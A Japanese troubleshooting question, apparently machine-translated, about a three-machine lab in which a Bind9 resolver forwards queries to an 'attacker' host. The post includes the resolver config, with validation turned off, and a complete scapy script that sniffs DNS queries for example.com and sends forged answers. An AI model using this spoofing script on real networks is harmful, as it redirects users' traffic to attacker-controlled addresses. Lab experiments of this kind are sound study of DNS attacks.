実験の一環として、3つのUbuntuマシンで実行しました。作る環境。
それらをクライアント、サーバー、攻撃者と呼んでください。
クライアントはサーバーに接続します。 (それぞれ 10.1.1.2 および 10.1.1.3)
サーバーが攻撃者に接続されました。 (それぞれ10.1.2.3および10.1.2.2)
サーバーは、MITMで実行されている攻撃者にすべてのクエリを渡す再帰検証者をシミュレートするように設計されたBind9サーバーを実行します。
私が編集したサーバーで名前付き.conf.オプション:
options {
directory "/var/cache/bind";
dump-file "/var/cache/bind/dump.db";
recursion yes;
allow-recursion { any; };
allow-query { any; };
allow-query-cache { any; };
forwarders { 10.1.2.2; };
forward only;
dnssec-validation no;
auth-nxdomain no;
listen-on-v6 { any; };
}
私が編集したクライアントから構成ファイルの解析:
nameserver 10.1.1.3
nameserver 192.168.252.1
search create.iucc.ac.il
2番目のnsは生成環境nsで、インターネットに接続せずに「create.iucc.ac.il」へのクエリにのみ応答します。
攻撃者は次のscapyスクリプトを実行します。
from scapy.all import *
def callback(pkt):
if (DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qr=1, aa=1,\
qd=pkt[DNS].qd,an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=1600, rdata="6.6.6.6"))
send(spfResp, verbose=1)
return 'Spoofed DNS Response Sent'
sniff(filter="dst port 53", prn=callback)
"example.com"のクエリに対する回答を返す必要があります。
しかし、私が使うとき
dig example.com
クライアントは10.1.1.3でSERVFAILを受け取ります。 scapy スクリプトはサーバーに応答を送信します。クライアントが(スクリプトで期待どおりに)応答を受け取る唯一の時間は、「dig example.com」コマンドをスパムに送信するときです。
なぜ動作しないのですか?私の設定は正しいですか?